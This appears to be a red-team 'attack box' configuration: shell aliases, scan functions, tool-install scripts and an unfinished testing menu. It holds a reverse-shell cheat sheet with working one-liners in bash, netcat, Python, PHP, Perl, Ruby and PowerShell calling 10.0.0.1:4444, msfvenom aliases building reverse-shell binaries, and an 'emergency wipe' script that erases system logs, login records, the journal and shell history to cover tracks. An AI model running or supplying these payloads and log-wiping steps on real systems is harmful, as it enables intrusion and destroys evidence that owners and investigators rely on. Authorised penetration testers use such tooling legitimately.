||||
alias nmap-full='nmap -sC -sV -O -p- -T4'
|
||||
alias nmap-udp='sudo nmap -sU -sV --top-ports 1000'
|
||||
alias nmap-vuln='nmap -sV --script=vuln'
|
||||
alias nmap-smb='nmap -sV -p 445 --script=smb-enum-shares,smb-enum-users'
|
||||
|
||||
# Tool updates
|
||||
alias update-tools='update-all-tools.sh'
|
||||
alias update-searchsploit='searchsploit -u'
|
||||
alias update-nmap-scripts='sudo nmap --script-updatedb'
|
||||
|
||||
# Quick tool access
|
||||
alias kerb='kerbrute'
|
||||
alias responder='sudo responder -I eth0 -wFv'
|
||||
alias crack='crackmapexec'
|
||||
alias evil='evil-winrm -i'
|
||||
alias bloodhound-start='sudo neo4j start && bloodhound'
|
||||
|
||||
# ─── ENCODING/DECODING ───────────────────────────────────────────────────────
|
||||
|
||||
alias b64d='base64 -d'
|
||||
alias b64e='base64 -w 0'
|
||||
alias urldecode='python3 -c "import sys, urllib.parse as ul; print(ul.unquote(sys.stdin.read()))"'
|
||||
alias urlencode='python3 -c "import sys, urllib.parse as ul; print(ul.quote(sys.stdin.read()))"'
|
||||
alias hexdump='od -A x -t x1z -v'
|
||||
alias rot13='tr "A-Za-z" "N-ZA-Mn-za-m"'
|
||||
|
||||
# ─── METASPLOIT PAYLOAD GENERATORS ───────────────────────────────────────────
|
||||
|
||||
alias msfpayloads='msfvenom -l payloads'
|
||||
alias msfencoders='msfvenom -l encoders'
|
||||
alias winrev='msfvenom -p windows/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f exe -o shell.exe'
|
||||
alias linrev='msfvenom -p linux/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f elf -o shell.elf'
|
||||
alias phprev='msfvenom -p php/reverse_php LHOST=$1 LPORT=$2 -f raw -o shell.php'
|
||||
alias asprev='msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f asp -o shell.asp'
|
||||
alias jsprev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f raw -o shell.jsp'
|
||||
alias warrev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f war -o shell.war'
|
||||
|
||||
# ─── WORDLIST SHORTCUTS ──────────────────────────────────────────────────────
|
||||
|
||||
alias rockyou='locate rockyou.txt | head -1'
|
||||
alias seclists='cd ~/tools/wordlists/SecLists'
|
||||
alias dirmedium='locate directory-list-2.3-medium.txt | head -1'
|
||||
alias submedium='locate subdomains-top1million-110000.txt | head -1'
|
||||
|
||||
# ─── PROXYCHAINS ─────────────────────────────────────────────────────────────
|
||||
|
||||
alias pc='proxychains4 -q'
|
||||
alias pcnmap='proxychains4 -q nmap -sT -Pn'
|
||||
|
||||
# ─── CHISEL SHORTCUTS ────────────────────────────────────────────────────────
|
||||
|
||||
alias chisel-server='chisel server -p 8000 --reverse'
|
||||
alias chisel-client='chisel client $1:8000 R:socks'
|
||||
|
||||
# ─── QUICK FUNCTIONS ─────────────────────────────────────────────────────────
|
||||
|
||||
# Extract various archive types
|
||||
extract() {
|
||||
if [ -f $1 ]; then
|
||||
case $1 in
|
||||
*.tar.bz2) tar xjf $1 ;;
|
||||
*.tar.gz) tar xzf $1 ;;
|
||||
*.bz2) bunzip2 $1 ;;
|
||||
*.rar) unrar x $1 ;;
|
||||
*.gz) gunzip $1 ;;
|
||||
*.tar) tar xf $1 ;;
|
||||
*.tbz2) tar xjf $1 ;;
|
||||
*.tgz) tar xzf $1 ;;
|
||||
*.zip) unzip $1 ;;
|
||||
*.Z) uncompress $1;;
|
||||
*.7z) 7z x $1 ;;
|
||||
*) echo "'$1' cannot be extracted" ;;
|
||||
esac
|
||||
else
|
||||
echo "'$1' is not a valid file"
|
||||
fi
|
||||
}
|
||||
|
||||
# Create backup of file
|
||||
backup() {
|
||||
cp "$1" "${1}.$(date +%Y%m%d_%H%M%S).bak"
|
||||
}
|
||||
|
||||
# Quick nmap scans
|
||||
quickscan() {
|
||||
echo "[*] Quick scan of $1"
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA quickscan_$1 $1
|
||||
}
|
||||
|
||||
fullscan() {
|
||||
echo "[*] Full scan of $1"
|
||||
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullscan_$1 $1
|
||||
}
|
||||
|
||||
udpscan() {
|
||||
echo "[*] UDP scan of $1"
|
||||
sudo nmap -sU -sV --top-ports 1000 -oA udpscan_$1 $1
|
||||
}
|
||||
|
||||
# Reverse shell cheatsheet
|
||||
revshells() {
|
||||
echo "===== Reverse Shell Cheatsheet ====="
|
||||
echo "Bash:"
|
||||
echo " bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
|
||||
echo ""
|
||||
echo "Bash (alternative):"
|
||||
echo " 0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196"
|
||||
echo ""
|
||||
echo "Netcat:"
|
||||
echo " nc -e /bin/bash 10.0.0.1 4444"
|
||||
echo " nc -c bash 10.0.0.1 4444"
|
||||
echo " rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
|
||||
echo ""
|
||||
echo "Python:"
|
||||
echo " python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
|
||||
echo ""
|
||||
echo "Python3:"
|
||||
echo " python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
|
||||
echo ""
|
||||
echo "PHP:"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/bash <&3 >&3 2>&3\");'"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);\$proc=proc_open(\"/bin/bash\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);'"
|
||||
echo ""
|
||||
echo "Perl:"
|
||||
echo " perl -e 'use Socket;\$i=\"10.0.0.1\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
|
||||
echo ""
|
||||
echo "Ruby:"
|
||||
echo " ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",4444).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'"
|
||||
echo ""
|
||||
echo "PowerShell:"
|
||||
echo " powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
|
||||
}
|
||||
|
||||
# Upgrade shell
|
||||
upgradeshell() {
|
||||
echo "===== Shell Upgrade Commands ====="
|
||||
echo "Python:"
|
||||
echo " python -c 'import pty;pty.spawn(\"/bin/bash\")'"
|
||||
echo " python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
|
||||
echo ""
|
||||
echo "Script:"
|
||||
echo " script -q /dev/null -c bash"
|
||||
echo ""
|
||||
echo "Then:"
|
||||
echo " export TERM=xterm"
|
||||
echo " export SHELL=bash"
|
||||
echo " stty rows 24 cols 80"
|
||||
echo ""
|
||||
echo "Background with Ctrl+Z, then:"
|
||||
echo " stty raw -echo;fg"
|
||||
echo ""
|
||||
echo "For zsh shell:"
|
||||
echo " python3 -c 'import pty;pty.spawn(\"/bin/zsh\")'"
|
||||
}
|
||||
|
||||
# Quick HTTP server with upload capability
|
||||
upload_server() {
|
||||
echo "Starting upload server on port 8080..."
|
||||
python3 -c 'import http.server,socketserver,cgi,os;os.chdir("/tmp");class SimpleHTTPRequestHandlerWithUpload(http.server.SimpleHTTPRequestHandler):
|
||||
def do_POST(self):
|
||||
if self.path=="/upload":
|
||||
form=cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={"REQUEST_METHOD":"POST","CONTENT_TYPE":self.headers["Content-Type"]})
|
||||
filename=form["file"].filename
|
||||
data=form["file"].file.read()
|
||||
with open(filename,"wb")as f:f.write(data)
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
self.wfile.write(b"Upload successful")
|
||||
else:self.send_error(404)
|
||||
httpd=socketserver.TCPServer(("",8080),SimpleHTTPRequestHandlerWithUpload);print("Upload server at http://0.0.0.0:8080/upload");httpd.serve_forever()'
|
||||
}
|
||||
|
||||
# Check all running services
|
||||
checkservices() {
|
||||
echo "===== Running Services ====="
|
||||
systemctl list-units --type=service --state=running
|
||||
}
|
||||
|
||||
# Download file to target
|
||||
download() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: download <URL> <output-file>"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Downloading $1 to $2"
|
||||
curl -s -L "$1" -o "$2" || wget -q "$1" -O "$2"
|
||||
}
|
||||
|
||||
# Git shortcuts
|
||||
alias gs='git status'
|
||||
alias ga='git add'
|
||||
alias gc='git commit -m'
|
||||
alias gp='git push'
|
||||
alias gl='git log --oneline'
|
||||
alias gd='git diff'
|
||||
|
||||
# Docker shortcuts
|
||||
alias dps='docker ps'
|
||||
alias dpsa='docker ps -a'
|
||||
alias dimg='docker images'
|
||||
alias dexec='docker exec -it'
|
||||
alias dlog='docker logs'
|
||||
alias dstop='docker stop $(docker ps -q)'
|
||||
alias drm='docker rm $(docker ps -a -q)'
|
||||
alias drmi='docker rmi $(docker images -q)'
|
||||
|
||||
# ─── VIRTUAL ENVIRONMENT ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
alias venv-create='python3 -m venv venv; source venv/bin/activate; pip install -r requirements.txt'
|
||||
alias venv-activate='source venv/bin/activate'
|
||||
|
||||
# ─── BURP PROXY ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
alias burp_proxy='export https_proxy=http://127.0.0.1:8080; export http_proxy=$https_proxy; export NO_PROXY=169.254.169.254; echo "Burp proxy enabled: $http_proxy"'
|
||||
alias disable_burp_proxy='unset https_proxy; unset http_proxy; unset NO_PROXY; echo "Burp proxy disabled"'
|
||||
|
||||
# ─── RED TEAM VPN MONITORING ──────────────────────────────────────────────
|
||||
|
||||
# Safe OPSEC status check
|
||||
alias opsec-status='echo "🔍 OPSEC Status:"; echo "VPN: $(pgrep openvpn > /dev/null && echo "🔒 Connected" || echo "❌ Disconnected")"; echo "Tor: $(systemctl is-active tor 2>/dev/null | grep -q active && echo "🔒 Active" || echo "❌ Inactive")"; echo "IP: $(curl -s --max-time 2 ifconfig.me || echo "Check failed")"'
|
||||
|
||||
# Network status for red team ops
|
||||
alias net-status='echo "=== Network Status ==="; ip route | grep -E "tun|tor|vpn" || echo "No VPN/Tor interfaces"; echo ""; echo "=== External IP ==="; curl -s --max-time 3 ifconfig.me || echo "IP check failed"'
|
||||
|
||||
# Quick OPSEC check
|
||||
alias quick-opsec='opsec-status && echo "" && echo "=== Connections ===" && ss -tupln | grep -E ":443|:9050|:1080" | head -5'
|
||||
|
||||
# Tool paths
|
||||
export PATH=$PATH:~/tools:~/.cargo/bin:~/go/bin:/usr/local/bin
|
||||
Executable
+87
@@ -0,0 +1,87 @@
|
||||
#!/bin/bash
|
||||
# Emergency Wipe Script for OPSEC
|
||||
# Quickly sanitizes system for emergency situations
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${RED}=== EMERGENCY SANITIZATION PROTOCOL ===${NC}"
|
||||
echo -e "${YELLOW}This will clear sensitive data and logs${NC}"
|
||||
echo ""
|
||||
|
||||
# Confirm emergency wipe
|
||||
read -p "Are you sure you want to proceed? (type YES): " CONFIRM
|
||||
if [ "$CONFIRM" != "YES" ]; then
|
||||
echo -e "${GREEN}Emergency wipe cancelled${NC}"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo -e "${RED}[*] Beginning emergency sanitization...${NC}"
|
||||
|
||||
# Clear command history
|
||||
echo -e "${YELLOW}[*] Clearing command history${NC}"
|
||||
history -c
|
||||
> ~/.bash_history
|
||||
> ~/.zsh_history
|
||||
> ~/.python_history
|
||||
> ~/.mysql_history
|
||||
> ~/.psql_history
|
||||
|
||||
# Clear system logs
|
||||
echo -e "${YELLOW}[*] Clearing system logs${NC}"
|
||||
sudo find /var/log -type f -exec truncate -s 0 {} \; 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/auth.log 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/syslog 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/kern.log 2>/dev/null
|
||||
|
||||
# Clear temporary files
|
||||
echo -e "${YELLOW}[*] Clearing temporary files${NC}"
|
||||
sudo rm -rf /tmp/* 2>/dev/null
|
||||
sudo rm -rf /var/tmp/* 2>/dev/null
|
||||
rm -rf ~/.cache/* 2>/dev/null
|
||||
|
||||
# Clear SSH known hosts
|
||||
echo -e "${YELLOW}[*] Clearing SSH artifacts${NC}"
|
||||
> ~/.ssh/known_hosts
|
||||
sudo truncate -s 0 /var/log/btmp 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/wtmp 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/lastlog 2>/dev/null
|
||||
|
||||
# Clear network traces
|
||||
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
|
||||
sudo ip neigh flush all 2>/dev/null
|
||||
|
||||
# Clear DNS cache
|
||||
echo -e "${YELLOW}[*] Clearing DNS cache${NC}"
|
||||
sudo systemctl restart systemd-resolved 2>/dev/null
|
||||
|
||||
# Clear browser data if present
|
||||
echo -e "${YELLOW}[*] Clearing browser data${NC}"
|
||||
rm -rf ~/.mozilla/firefox/*/sessionstore* 2>/dev/null
|
||||
rm -rf ~/.mozilla/firefox/*/cookies.sqlite 2>/dev/null
|
||||
rm -rf ~/.config/google-chrome/Default/History 2>/dev/null
|
||||
rm -rf ~/.config/google-chrome/Default/Cookies 2>/dev/null
|
||||
|
||||
# Secure delete free space (optional - takes time)
|
||||
read -p "Perform secure free space wipe? (y/N): " WIPE_FREE
|
||||
if [ "$WIPE_FREE" = "y" ] || [ "$WIPE_FREE" = "Y" ]; then
|
||||
echo -e "${YELLOW}[*] Securely wiping free space (this may take a while)${NC}"
|
||||
dd if=/dev/urandom of=/tmp/wipe_file bs=1M 2>/dev/null || true
|
||||
rm -f /tmp/wipe_file 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clear systemd journal
|
||||
echo -e "${YELLOW}[*] Clearing systemd journal${NC}"
|
||||
sudo journalctl --vacuum-time=1s 2>/dev/null
|
||||
|
||||
# Final cleanup
|
||||
echo -e "${YELLOW}[*] Final cleanup${NC}"
|
||||
sync
|
||||
sudo updatedb 2>/dev/null
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}=== EMERGENCY SANITIZATION COMPLETE ===${NC}"
|
||||
echo -e "${YELLOW}Consider rebooting the system for maximum effectiveness${NC}"
|
||||
echo -e "${RED}WARNING: This does not guarantee complete data removal${NC}"
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Git Repositories Cloning Script
|
||||
# Clones security tool repositories with enhanced feedback
|
||||
|
||||
# Get OPERATOR_DIR from environment or use default
|
||||
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
|
||||
|
||||
echo "================================================================"
|
||||
echo "GIT REPOSITORIES CLONING STARTED"
|
||||
echo "================================================================"
|
||||
|
||||
REPOS=(
|
||||
"https://github.com/SecureAuthCorp/impacket.git"
|
||||
"https://github.com/danielmiessler/SecLists.git"
|
||||
"https://github.com/swisskyrepo/PayloadsAllTheThings.git"
|
||||
"https://github.com/fuzzdb-project/fuzzdb.git"
|
||||
"https://github.com/1N3/Sn1per.git"
|
||||
"https://github.com/maurosoria/dirsearch.git"
|
||||
"https://github.com/OJ/gobuster.git"
|
||||
"https://github.com/aboul3la/Sublist3r.git"
|
||||
"https://github.com/laramies/theHarvester.git"
|
||||
"https://github.com/Tib3rius/AutoRecon.git"
|
||||
"https://github.com/carlospolop/PEASS-ng.git"
|
||||
"https://github.com/rebootuser/LinEnum.git"
|
||||
"https://github.com/mzet-/linux-exploit-suggester.git"
|
||||
"https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git"
|
||||
"https://github.com/PowerShellMafia/PowerSploit.git"
|
||||
"https://github.com/BloodHoundAD/BloodHound.git"
|
||||
"https://github.com/EmpireProject/Empire.git"
|
||||
"https://github.com/cobbr/Covenant.git"
|
||||
"https://github.com/byt3bl33d3r/CrackMapExec.git"
|
||||
"https://github.com/Hackplayers/evil-winrm.git"
|
||||
)
|
||||
|
||||
REPO_NAMES=(
|
||||
"impacket-dev"
|
||||
"SecLists"
|
||||
"PayloadsAllTheThings"
|
||||
"fuzzdb"
|
||||
"Sn1per"
|
||||
"dirsearch-dev"
|
||||
"gobuster-dev"
|
||||
"Sublist3r"
|
||||
"theHarvester-dev"
|
||||
"AutoRecon"
|
||||
"PEASS-ng"
|
||||
"LinEnum"
|
||||
"linux-exploit-suggester"
|
||||
"Windows-Exploit-Suggester"
|
||||
"PowerSploit"
|
||||
"BloodHound"
|
||||
"Empire"
|
||||
"Covenant"
|
||||
"CrackMapExec-dev"
|
||||
"evil-winrm"
|
||||
)
|
||||
|
||||
TOTAL=${#REPOS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
# Create git directory if it doesn't exist
|
||||
mkdir -p "$OPERATOR_DIR/tools/git"
|
||||
cd "$OPERATOR_DIR/tools/git"
|
||||
|
||||
for i in "${!REPOS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
repo="${REPOS[$i]}"
|
||||
name="${REPO_NAMES[$i]}"
|
||||
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Cloning $name..."
|
||||
echo "Repository: $repo"
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
|
||||
if [ -d "$name" ]; then
|
||||
echo "Repository $name already exists, updating..."
|
||||
cd "$name"
|
||||
if timeout 300 git pull origin main 2>/dev/null || timeout 300 git pull origin master 2>/dev/null; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name updated successfully"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name update failed"
|
||||
fi
|
||||
cd ..
|
||||
else
|
||||
if timeout 300 git clone --depth 1 "$repo" "$name" 2>&1 | while read line; do echo "[GIT] $line"; done; then
|
||||
if [ -d "$name" ]; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name cloned successfully"
|
||||
echo "Size: $(du -sh "$name" | cut -f1)"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name directory not found after clone"
|
||||
fi
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name clone failed or timed out"
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) repositories"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "GIT REPOSITORIES CLONING SUMMARY:"
|
||||
echo "================================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Cloned repositories:"
|
||||
ls -la "$OPERATOR_DIR/tools/git/" | head -20
|
||||
|
||||
exit 0
|
||||
Executable
+104
@@ -0,0 +1,104 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Go Tools Installation Script
|
||||
# Installs security tools via go install with enhanced feedback
|
||||
|
||||
# Get OPERATOR_DIR from environment or use default
|
||||
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
|
||||
|
||||
export GOPATH="$OPERATOR_DIR/tools/go"
|
||||
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
|
||||
mkdir -p "$GOPATH"
|
||||
|
||||
echo "================================================================"
|
||||
echo "GO TOOLS INSTALLATION STARTED"
|
||||
echo "================================================================"
|
||||
echo "Installing Go tools to $GOPATH/bin..."
|
||||
echo "Each tool has a 5-minute timeout"
|
||||
echo "================================================================"
|
||||
|
||||
GO_TOOLS=(
|
||||
"github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"
|
||||
"github.com/projectdiscovery/httpx/cmd/httpx@latest"
|
||||
"github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest"
|
||||
"github.com/projectdiscovery/naabu/v2/cmd/naabu@latest"
|
||||
"github.com/projectdiscovery/dnsx/cmd/dnsx@latest"
|
||||
"github.com/projectdiscovery/katana/cmd/katana@latest"
|
||||
"github.com/tomnomnom/waybackurls@latest"
|
||||
"github.com/tomnomnom/assetfinder@latest"
|
||||
"github.com/tomnomnom/httprobe@latest"
|
||||
"github.com/tomnomnom/gf@latest"
|
||||
"github.com/lc/gau/v2/cmd/gau@latest"
|
||||
"github.com/hakluke/hakrawler@latest"
|
||||
"github.com/ropnop/kerbrute@latest"
|
||||
)
|
||||
|
||||
TOOL_NAMES=(
|
||||
"subfinder"
|
||||
"httpx"
|
||||
"nuclei"
|
||||
"naabu"
|
||||
"dnsx"
|
||||
"katana"
|
||||
"waybackurls"
|
||||
"assetfinder"
|
||||
"httprobe"
|
||||
"gf"
|
||||
"gau"
|
||||
"hakrawler"
|
||||
"kerbrute"
|
||||
)
|
||||
|
||||
TOTAL=${#GO_TOOLS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
for i in "${!GO_TOOLS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
tool="${GO_TOOLS[$i]}"
|
||||
name="${TOOL_NAMES[$i]}"
|
||||
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Installing $name..."
|
||||
echo "Repository: $tool"
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
echo "Working directory: $GOPATH"
|
||||
|
||||
if timeout 300 bash -c "go install -v $tool 2>&1 | while read line; do echo '[GO] $line'; done"; then
|
||||
if [ -f "$GOPATH/bin/$name" ]; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name installed successfully at $GOPATH/bin/$name"
|
||||
ls -la "$GOPATH/bin/$name"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name binary not found after installation"
|
||||
fi
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name installation failed or timed out"
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) tools"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "GO TOOLS INSTALLATION SUMMARY:"
|
||||
echo "=============================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Installed Go tools:"
|
||||
ls -la "$GOPATH/bin/" || echo "No Go tools installed"
|
||||
echo ""
|
||||
echo "Go environment:"
|
||||
echo "GOPATH: $GOPATH"
|
||||
echo "Go version: $(go version 2>/dev/null || echo 'Go not found')"
|
||||
echo "Go executable: $(which go || echo 'Go not in PATH')"
|
||||
|
||||
exit 0
|
||||
+84
@@ -0,0 +1,84 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Python Tools Installation Script
|
||||
# Installs security tools via pipx with enhanced feedback
|
||||
|
||||
export PATH="/root/.local/bin:$PATH"
|
||||
|
||||
echo "================================================================"
|
||||
echo "PYTHON TOOLS INSTALLATION STARTED"
|
||||
echo "================================================================"
|
||||
echo "Total tools to install: 29"
|
||||
echo "Each tool has a 5-minute timeout"
|
||||
echo "================================================================"
|
||||
|
||||
TOOLS=(
|
||||
"impacket"
|
||||
"bloodhound"
|
||||
"crackmapexec"
|
||||
"netexec"
|
||||
"droopescan"
|
||||
"wpscan"
|
||||
"arjun"
|
||||
"subjack"
|
||||
"sublist3r"
|
||||
"theharvester"
|
||||
"feroxbuster"
|
||||
"dirsearch"
|
||||
"sqlmap"
|
||||
"wafw00f"
|
||||
"dnsrecon"
|
||||
"dnsgen"
|
||||
"massdns"
|
||||
"altdns"
|
||||
"paramspider"
|
||||
"linkfinder"
|
||||
"xsstrike"
|
||||
"scapy"
|
||||
"pwntools"
|
||||
"volatility3"
|
||||
"ldapdomaindump"
|
||||
"ldap3"
|
||||
"responder"
|
||||
"mitm6"
|
||||
"enum4linux-ng"
|
||||
"smbmap"
|
||||
)
|
||||
|
||||
TOTAL=${#TOOLS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
for tool in "${TOOLS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Installing $tool..."
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
|
||||
if timeout 300 pipx install --verbose "$tool" 2>&1; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $tool installed successfully"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $tool installation failed or timed out"
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) tools"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "PYTHON TOOLS INSTALLATION SUMMARY:"
|
||||
echo "=================================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Installed pipx tools:"
|
||||
pipx list
|
||||
|
||||
exit 0
|
||||
+392
@@ -0,0 +1,392 @@
|
||||
#!/bin/bash
|
||||
# Manual Testing Menu for Attack Box
|
||||
# Interactive interface for manual penetration testing tasks
|
||||
|
||||
set -e
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
PURPLE='\033[0;35m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# ASCII Banner
|
||||
show_banner() {
|
||||
echo -e "${CYAN}"
|
||||
cat << "EOF"
|
||||
╔═══════════════════════════════════════╗
|
||||
║ ATTACK BOX MENU ║
|
||||
║ Manual Testing Interface ║
|
||||
╚═══════════════════════════════════════╝
|
||||
EOF
|
||||
echo -e "${NC}"
|
||||
}
|
||||
|
||||
# Main menu
|
||||
show_main_menu() {
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Attack Box Manual Testing Menu ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Target Reconnaissance"
|
||||
echo -e "${BLUE}2.${NC} Network Scanning"
|
||||
echo -e "${BLUE}3.${NC} Web Application Testing"
|
||||
echo -e "${BLUE}4.${NC} Vulnerability Assessment"
|
||||
echo -e "${BLUE}5.${NC} Exploitation Framework"
|
||||
echo -e "${BLUE}6.${NC} Post-Exploitation"
|
||||
echo -e "${BLUE}7.${NC} Password Attacks"
|
||||
echo -e "${BLUE}8.${NC} Wireless Testing"
|
||||
echo -e "${BLUE}9.${NC} Social Engineering"
|
||||
echo -e "${BLUE}10.${NC} OSINT Tools"
|
||||
echo -e "${BLUE}11.${NC} Custom Scripts"
|
||||
echo -e "${BLUE}12.${NC} Tool Status & Updates"
|
||||
echo -e "${BLUE}13.${NC} Generate Reports"
|
||||
echo -e "${BLUE}0.${NC} Exit"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-13]: ${NC}"
|
||||
}
|
||||
|
||||
# Reconnaissance menu
|
||||
recon_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Reconnaissance Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
